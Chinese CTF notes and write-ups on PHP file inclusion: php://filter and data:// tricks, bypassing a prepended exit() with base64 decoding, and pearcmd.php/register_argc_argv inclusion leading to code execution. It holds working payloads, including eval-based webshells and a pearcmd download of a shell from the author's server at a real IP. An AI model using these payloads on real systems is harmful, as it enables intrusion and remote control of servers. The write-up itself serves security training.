知識
1.1php偽協(xié)議基本介紹
php偽協(xié)議中的過濾器
轉(zhuǎn)換過濾器
[0x00] convert.iconv.UCS-2LE.UCS-2BE
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
這里引入usc-2的概念,作用是對目標字符串每兩位進行一反轉(zhuǎn)
,值得注意的是,因為是兩位所以字符串位數(shù)需要保持在偶數(shù)位
上。
①Python腳本交換奇偶位
def swap_odd_even_chars(input_str):
# 將字符串轉(zhuǎn)換為字符列表以便于交換
char_list = list(input_str)
# 遍歷字符串的奇數(shù)位和偶數(shù)位字符并交換它們
for i in range(0, len(char_list) - 1, 2):
char_list[i], char_list[i + 1] = char_list[i + 1], char_list[i]
# 將字符列表轉(zhuǎn)換回字符串
result_str = ''.join(char_list)
return result_str
# 測試
input_string = "?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d"
result = swap_odd_even_chars(input_string)
print(result) # 輸出
②php代碼,再次進行相同轉(zhuǎn)換
<?php
echo iconv("UCS-2LE","UCS-2BE",'?<hp p//lfgaf{64fca9-a2ab54-36-9ebcd2-e22e79aff1}d');
查看源代碼
php偽協(xié)議
1.2file_get_contents
把整個文件讀入一個字符串中。
file_get_contents($text,‘r’)
‘r’: 只讀模式。文件被打開用于讀取
1.3data://
數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)
自PHP>=5.2.0起,可以使用data://數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)。通??梢杂脕韴?zhí)行PHP代碼。一般需要用到base64編碼傳輸
示例用法:
1、data://text/plain, 一
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64, 一
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1.4組合data://和file_get_contents通過比較
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1.5 php://input
php://input 是一個 PHP 中的特殊流,用于訪問原始的 HTTP 請求主體內(nèi)容(主要是指POST中的內(nèi)容)
1.6 繞過死亡exit
什么是死亡exit
死亡exit
指的是在進行寫入PHP文件操作時,執(zhí)行了以下函數(shù):
file_put_contents($content, '<?php exit();' . $content);
亦或者
file_put_contents($content, '<?php exit();?>' . $content);
這樣,當你插入一句話木馬時,文件的內(nèi)容是這樣子的:
<?php exit();?>
<?php @eval($_POST['snakin']);?>
這樣即使插入了一句話木馬,在被使用的時候也無法被執(zhí)行。這樣的死亡exit通常存在于緩存、配置文件等等不允許用戶直接訪問的文件當中。
Base64 decode繞過
利用filter協(xié)議來繞過,看下這樣的代碼:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
當用戶通過POST方式提交一個數(shù)據(jù)時,會與死亡exit進行拼接,從而避免提交的數(shù)據(jù)被執(zhí)行。
然而這里可以利用php://filter
的base64-decode
方法,將$content解碼,利用php base64_decode函數(shù)特性去除死亡exit。
base64編碼中只包含64個可打印字符,當PHP遇到不可解碼的字符時,會選擇性的跳過,這個時候base64就相當于以下的過程:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,當$content
包含<?php exit; ?>
時,解碼過程會先去除識別不了的字符,< ; ? >和空格等都將被去除,于是剩下的字符就只有phpexit
以及我們傳入的字符了。由于base64是4個byte一組,再添加一個字符例如添加字符’a’后,將phpexita
當做兩組base64進行解碼,也就繞過這個死亡exit了。
這個時候后面再加上編碼后的一句話木馬,就可以getshell了。
①函數(shù)里一大段不用管, 用來刪除你扔進去的文件的,主要是看后面這幾行
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
很明顯, 你可以通過file_put_contents
寫點文件到某個php文件里, 然后你有一秒的時間訪問它.
但是寫入它之前明顯你需要先去掉或者繞過<?php exit;?>
才能使你寫入的代碼正常執(zhí)行.
比如, 我想執(zhí)行<?php system('cat flag.php');?>
, 這段話加密后為PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
, 我們在前面添加一位變成aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
. 這樣傳進去解碼后的結(jié)果就是?^?+Z<?php system('cat flag.php');?>,
執(zhí)行后直接就輸出了.
1.7 register_argc_argv
當前目錄
var/www/html
[0x00]介紹
是利用pearcmd.php
這個pecl/pear
中的文件。
pecl是PHP中用于管理擴展而使用的命令行工具,而pear是pecl依賴的類庫。在7.3及以前
,pecl/pear是默認安裝的;在7.4及以后,需要我們在編譯PHP的時候指定–with-pear才會安裝。
不過,在Docker任意版本鏡像
中,pcel/pear都會被默認安裝,安裝的路徑在/usr/local/lib/php
。
原本pear/pcel是一個命令行工具
,并不在Web目錄下,即使存在一些安全隱患也無需擔心。但我們遇到的場景比較特殊,是一個文件包含的場景,那么我們就可以包含到pear中的文件,進而利用其中的特性來搞事。
我最早的時候是在閱讀phpinfo()的過程中,發(fā)現(xiàn)Docker環(huán)境下的PHP會開啟register_argc_argv這個配置。文檔中對這個選項的介紹不是特別清楚,大概的意思是,當開啟了這個選項,用戶的輸入將會被賦予給\$argc、\$argv、$_SERVER['argv']
幾個變量。
如果PHP以命令行的形式運行(即sapi是cli),這里很好理解。但如果PHP以Server
的形式運行,且又開啟了register_argc_argv,那么這其中是怎么處理的?
[0x01] 本地文件包含
第一眼就看到config-create
,閱讀其代碼和幫助,可以知道,這個命令需要傳入兩個參數(shù),其中第二個參數(shù)是寫入的文件路徑
,第一個參數(shù)會被寫入到這個文件
中。
所以,我構(gòu)造出最后的利用數(shù)據(jù)包如下:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
在register_argc_argv開啟的時候可以通過+
來分隔變量
payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
發(fā)送這個數(shù)據(jù)包,目標將會寫入一個文件/tmp/hello.php
,其內(nèi)容包含<?=phpinfo()?>
:
然后,我們再利用文件包含漏洞包含這個文件即可getshell:
[0x02] 公網(wǎng)下載文件
在register_argc_argv開啟的時候可以通過+
來分隔變量
先進行包含pearcmd.php
然后在通過+分隔符
來執(zhí)行download命令
在我們的vps上面創(chuàng)建一個test.php
<?php
echo "<?php system(whoami);?>";
?>
然后在題目url里傳入?c=pearcmd&+download+http:/vpsip/test.php
訪問 題目url/test.php
返回 www-data 可以知道我們用戶身份為 www-data
也證明成功下載了我們test.php
那么我們也可以寫一個一句話木馬,下載到題目里 訪問執(zhí)行命令,獲取flag
但不知道為什么這個更改為木馬文件后,就下載不下來了。
看到大師傅后面說的原因是:
實現(xiàn)的原因是我們通過python3開一個服務(wù),而php文件的路徑不在網(wǎng)站根目錄下面就不會當php解析就會自動下載。
我們vps上在~目錄寫入一個shell木馬,然后python3 -m http.server 81
開放一個服務(wù)
最終傳入
payload:
?c=pearcmd&+download+http:/vpsip:81/shell.php
成功下載下來了shell.php木馬文件 密碼為shell
得到flag
速解
payload:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
②
?c=pearcmd&+download+http:/vpsip:81/shell.php
2.1php://filter, data://, __tostring
①file_get_contents的作用是將整個文件讀入一個字符串
這里將text文件中讀取字符串,還要和welcome to the zjctf相等
這里使用的是data://寫入?yún)f(xié)議
?text=data://text/plain,welcome to the zjctf
②源碼提示了useless.php這里使用php偽協(xié)議來讀取文件
php://filter/read=convert.base64-encode/resource=useless.php
③第一個payload
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
④腳本
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
⑤第二個payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
不加偽協(xié)議了, flie還得正確地寫
2.2php://filter的特殊格式(繞過)
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
繞過
php://filter/read=convert.base64-encode/resource/index /index.php
實例
。BUU
[HCTF 2018]WarmUp
開局見到一個笑臉查看源代碼,得到source.php的信息
訪問source.php,得到index.php的源代碼
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看到hint.php,訪問即可只flag的位置
1.分析源代碼
這段代碼是一個簡單的文件包含漏洞(File Inclusion)題目,主要的邏輯在 emmm::checkFile 方法中。讓我們逐步分析它:
首先,$whitelist 數(shù)組定義了一個允許訪問的文件列表,包括 “source.php” 和 “hint.php”。
checkFile 方法接受一個傳引用的參數(shù) $page,它首先判斷 $page 是否為字符串,如果不是,則輸出 “you can’t see it”,然后返回 false。
如果 $page 在白名單中,直接返回 true。
否則,代碼將對 $page 進行一些處理。它通過 mb_substr 和 mb_strpos 函數(shù),嘗試提取 $page 參數(shù)中的第一個問號之前的子串,并將其賦值給 $_page。然后再次檢查 $_page 是否在白名單中,如果是,返回 true。
最后,它還嘗試對 $page 進行 URL 解碼,并進行類似的處理。如果 $_page 在白名單中,返回 true。
如果以上條件都不滿足,則輸出 “you can’t see it” 并返回 false。
在主代碼部分,如果滿足以下條件,則執(zhí)行文件包含
:$_REQUEST[‘file’] 不為空,且是字符串,且通過 emmm::checkFile 檢查返回 true。如果條件不滿足,輸出一張圖片。
2.構(gòu)造payload:
/?file=hint.php?../../../../../ffffllllaaaagggg
3.輸入payload:
[極客大挑戰(zhàn) 2019]Secret File
進入題目
檢查,發(fā)現(xiàn)可以點到另一個網(wǎng)頁
點擊
此時開啟Burp Suit,點擊selct,并開啟抓返回包的功能
放包,返回包里發(fā)現(xiàn)另一個網(wǎng)頁
訪問,得到源代碼,發(fā)現(xiàn)flag在flag.php,可以利用文件包含漏洞
還用到了PHP偽協(xié)議,構(gòu)造flag如下:
?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生賽]Include
進來看到
————————
點擊
注意到/?file=
,
猜測是文件包含漏洞,php偽協(xié)議
構(gòu)造payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php
————————
————————
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWE0ODhiMmYtNjg3NC00MTg3LWEwZTMtZjA3MThkMGMyMjJkfQo=
進行Base64解碼,得到flag
[SWPUCTF 2021 新生賽]include
進來看到
給file隨意傳一個參數(shù)
/?file=222
發(fā)現(xiàn)文件包含漏洞,這里要利用php偽協(xié)議
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
Base64解碼得flag
。NSS
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
data://寫入?yún)f(xié)議來應(yīng)對file_get_contents($text,'r')==="welcome to the zjctf"
?text=data://text/plain,welcome to the zjctf
題目提醒了要包含useless.php文件
使用php偽協(xié)議來讀取文件
php://filter/read=convert.base64-encode/resource=useless.php
payload為:
?text=data://text/plain,welcome to the zjctf&&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串密文
Base64解密得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
腳本
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終payload
/?text=data://text/plain,welcome to the zjctf&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
輸入payload頁面如下
查看源碼,發(fā)現(xiàn)flag
[SWPUCTF 2021 新生賽]PseudoProtocols
進來看到
提示hint.php,php偽協(xié)議來讀取其中內(nèi)容
php://filter/read=convert.base64-encode/resource=hint.php
PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
<?php
//go to /test2222222222222.php
?>
訪問test2222222222222.php
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
file_get_contents的作用是將整個文件讀入一個字符串
這里將text文件中讀取字符串,還要和I want flag相等
這里使用的是data://寫入?yún)f(xié)議
?a=data://text/plain,I want flag
得到flag
NSSCTF{2034b1d3-2b31-43f3-902d-334a6de646bf}
[鵬城杯 2022]簡單包含
<?php
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
一眼看出文件包含,想得到flag.php,卻提示有狗
flag=/var/www/html/flag.php
嘗試獲取源代碼,用到了php偽協(xié)議
flag=php://filter/read=convert.base64-encode/resource=index.php
Base64解密
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
利用
strlen(file_get_contents(‘php://input’)) < 800
在POST處傳一個很長的參數(shù)即可繞過
payload:
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
解密:
這道題令我沒有想到的是這一步:
payload:
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=/var/www/html/flag.php
沒有使用php偽協(xié)議時,報了錯
[SWPUCTF 2022 新生賽]ez_ez_php
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
需要繞過
substr($_GET[“file”], 0, 3) === “php”
使用php偽協(xié)議
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
Nice!!!PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=
解密。解密時注意別留著
得
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "換個思路,試試PHP偽協(xié)議呢";
提示flag在flag文件處
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag
TlNTQ1RGe2U3OGUwMzQ1LWUwMDktNDQyNy04OWY3LWUwMjI0OGU2NDM5MX0K
解密,得
[GDOUCTF 2023]泄露的偽裝
啥都找不到,用dirsearch進行目錄掃描
得到兩個文件
/test.txt中就是源碼,但你不能在一個文本文件中傳參
訪問/www.rar路徑,自動下載文件
文件組成
打開文件
訪問/orzorz.php
得到源碼
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?> nononoononoonono
這一處可以組合data://和file_get_contents通過比較
自PHP>=5.2.0起,可以使用data://數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)。通??梢杂脕韴?zhí)行PHP代碼。一般需要用到base64編碼傳輸
payload有兩種:
1:?cxk=data://text/plain,ctrl
2:?cxk=data://text/plain;base64,Y3RybA==
## [HNCTF 2022 Week1]Interesting_include
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
這個正則表達式是怕我們沒有看到flag這個文件!
用到了php偽協(xié)議,payload:
/?filter=php://filter/read=convert.base64-encode/resource=flag.php
得到
PD9waHAKCiRmbGFnID0gJ2ZsYWc9TlNTQ1RGezA0YTk0ZDczLTFhNWYtNGM5ZC1iNjA1LTYwOWEyYzBlMDc3ZH0nOwo/Pg==
解密得flag
<?php
$flag = 'flag=NSSCTF{04a94d73-1a5f-4c9d-b605-609a2c0e077d}';
?>
。NewStarCTF 2023
include 0。0
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
考點:要使用php偽協(xié)議
難點:常用的string.rot13,convert.base64-encode 被過濾了
解法:
解法1
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
查看源代碼
顯示出來的flag太亂了
?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d
這里引入usc-2的概念,作用是對目標字符串每兩位進行一反轉(zhuǎn),值得注意的是,因為是兩位所以字符串需要保持在偶數(shù)位上。
①
上python腳本交換回來
def swap_odd_even_chars(input_str):
# 將字符串轉(zhuǎn)換為字符列表以便于交換
char_list = list(input_str)
# 遍歷字符串的奇數(shù)位和偶數(shù)位字符并交換它們
for i in range(0, len(char_list) - 1, 2):
char_list[i], char_list[i + 1] = char_list[i + 1], char_list[i]
# 將字符列表轉(zhuǎn)換回字符串
result_str = ''.join(char_list)
return result_str
# 測試
input_string = "?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d"
result = swap_odd_even_chars(input_string)
print(result) # 輸出
得到flag:
②
php代碼,再次進行相同轉(zhuǎn)換:
<?php
echo iconv("UCS-2LE","UCS-2BE",'?<hp p//lfgaf{64fca9-a2ab54-36-9ebcd2-e22e79aff1}d');
查看源代碼
解法2
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
在線轉(zhuǎn)換網(wǎng)站
Include ??
考點:
register_argc_argv
疑點:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
②
?c=pearcmd&+download+http:/vpsip:81/shell.php(大蒙圈:文件名為b.php時失?。?br> 這些payload我看不懂其中的連接符號
LFI to RCE
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
LFI的意思是本地文件包含
提示我們查看phpinfo.php
搜索flag
,可以看到hint
fake{Check_register_argc_argv}
暗示我們查看register_argc_argv
,搜索它
發(fā)現(xiàn)這個服務(wù)是開啟的,一定有與他相關(guān)的漏洞,搜索
這道題,我用了好幾個方式,但是只有公網(wǎng)下載文件成功了,還開啟了python3服務(wù)
python3 -m http.server 81
p.php:
<?php
highlight_file("p.php");
@eval($_POST[8]);
echo "it is ok";
?>
?file=pearcmd&+download+http://124.70.205.216:81/p.php
訪問p.php
連蟻劍
參考:
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html文章來源:http://www.zghlxwxcb.cn/news/detail-611775.html
https://blog.csdn.net/weixin_63231007/article/details/125900528文章來源地址http://www.zghlxwxcb.cn/news/detail-611775.html
到了這里,關(guān)于文件包含實例的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!